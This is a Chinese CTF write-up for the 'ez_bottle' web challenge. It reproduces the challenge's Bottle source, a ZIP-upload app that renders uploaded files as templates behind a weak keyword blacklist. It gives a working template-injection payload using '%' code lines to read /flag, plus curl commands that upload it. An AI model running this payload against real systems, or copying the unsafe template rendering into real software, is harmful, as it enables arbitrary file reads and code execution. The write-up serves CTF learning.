LilCTF复现
时隔好久再一次打CTF(放假之后太懒狗成区了),还是一如既往地做不出题啊QAQ
WEB
ez_bottle
附件源码:
from bottle import route, run, template, post, request, static_file, error
import os
import zipfile
import hashlib
import time
# hint: flag in /flag , have a try
UPLOAD_DIR = os.path.join(os.path.dirname(__file__), 'uploads')
os.makedirs(UPLOAD_DIR, exist_ok=True)
STATIC_DIR = os.path.join(os.path.dirname(__file__), 'static')
MAX_FILE_SIZE = 1 * 1024 * 1024
BLACK_DICT = ["{", "}", "os", "eval", "exec", "sock", "<", ">", "bul", "class", "?", ":", "bash", "_", "globals",
"get", "open"]
def contains_blacklist(content):
return any(black in content for black in BLACK_DICT)
def is_symlink(zipinfo):
return (zipinfo.external_attr >> 16) & 0o170000 == 0o120000
def is_safe_path(base_dir, target_path):
return os.path.realpath(target_path).startswith(os.path.realpath(base_dir))
@route('/')
def index():
return static_file('index.html', root=STATIC_DIR)
@route('/static/<filename>')
def server_static(filename):
return static_file(filename, root=STATIC_DIR)
@route('/upload')
def upload_page():
return static_file('upload.html', root=STATIC_DIR)
@post('/upload')
def upload():
zip_file = request.files.get('file')
if not zip_file or not zip_file.filename.endswith('.zip'):
return 'Invalid file. Please upload a ZIP file.'
if len(zip_file.file.read()) > MAX_FILE_SIZE:
return 'File size exceeds 1MB. Please upload a smaller ZIP file.'
zip_file.file.seek(0)
current_time = str(time.time())
unique_string = zip_file.filename + current_time
md5_hash = hashlib.md5(unique_string.encode()).hexdigest()
extract_dir = os.path.join(UPLOAD_DIR, md5_hash)
os.makedirs(extract_dir)
zip_path = os.path.join(extract_dir, 'upload.zip')
zip_file.save(zip_path)
try:
with zipfile.ZipFile(zip_path, 'r') as z:
for file_info in z.infolist():
if is_symlink(file_info):
return 'Symbolic links are not allowed.'
real_dest_path = os.path.realpath(os.path.join(extract_dir, file_info.filename))
if not is_safe_path(extract_dir, real_dest_path):
return 'Path traversal detected.'
z.extractall(extract_dir)
except zipfile.BadZipFile:
return 'Invalid ZIP file.'
files = os.listdir(extract_dir)
files.remove('upload.zip')
return template("文件列表: {{files}}\n访问: /view/{{md5}}/{{first_file}}",
files=", ".join(files), md5=md5_hash, first_file=files[0] if files else "nofile")
@route('/view/<md5>/<filename>')
def view_file(md5, filename):
file_path = os.path.join(UPLOAD_DIR, md5, filename)
if not os.path.exists(file_path):
return "File not found."
with open(file_path, 'r', encoding='utf-8') as f:
content = f.read()
if contains_blacklist(content):
return "you are hacker!!!nonono!!!"
try:
return template(content)
except Exception as e:
return f"Error rendering template: {str(e)}"
@error(404)
def error404(error):
return "bbbbbboooottle"
@error(403)
def error403(error):
return "Forbidden: You don't have permission to access this resource."
if __name__ == '__main__':
run(host='0.0.0.0', port=5000, debug=False)
题目提示是bottle,想起来第一次接触bottle似乎是它的反序列化漏洞,先看看源码,以前打CTF读源码太少,都是喂给AI去读,导致没看出来哪有漏洞(悲)
可以看到这里有一个上传的路由/upload,可以用POST方法上传一个zip文件,经过一系列校验没问题后就会把zip文件里的内容渲染到/view/<md5>/<filename>路由。
@route('/view/<md5>/<filename>')
def view_file(md5, filename):
file_path = os.path.join(UPLOAD_DIR, md5, filename)
if not os.path.exists(file_path):
return "File not found."
with open(file_path, 'r', encoding='utf-8') as f:
content = f.read()
if contains_blacklist(content):
return "you are hacker!!!nonono!!!"
try:
return template(content)
except Exception as e:
return f"Error rendering template: {str(e)}"
可以看到就是渲染的这里出了问题,由于黑名单设置得比较脆弱,会导致如果绕过了拦截,危险代码就会被执行;
- 利用方法:
在Bottle文档中有这样一段话:
The template engine allows you to embed lines or blocks of python code within your template. Code lines start with
<span class="pre">%</span>and code blocks are surrounded by<span class="pre"><%</span>and<span class="pre">%></span>tokens:% name = "Bob" # a line of python code <p>Some plain text in between</p> <% # A block of python code name = name.title().strip() %> <p>More plain text</p>`
bottle框架允许嵌入Python代码,代码行以%开头;
显然%并不在黑名单范围内
所以可以写Python代码:
% import fileinput
% m = ''.join(fileinput.input('/flag'))
% raise Exception(m)
然后打包进zip;由于这里没有办法直接传包,只留了接口,所以用curl传下参(比赛中不知道为什么完全传不上去啊QAQ)
curl -X POST "http://gz.imxbt.cn:20568/upload" \
-F "file=@exp.zip;type=application/zip;filename=exp.zip"
curl -X POST "http://gz.imxbt.cn:20568/upload" -F "file=@exp.zip;type=application/zip;filename=exp.zip"
文件列表: exp.txt
访问: /view/90767a02ed4bb2cd910c1f0c30ecd340/exp.txt
访问http://gz.imxbt.cn:20568/view/90767a02ed4bb2cd910c1f0c30ecd340/exp.txt得到flag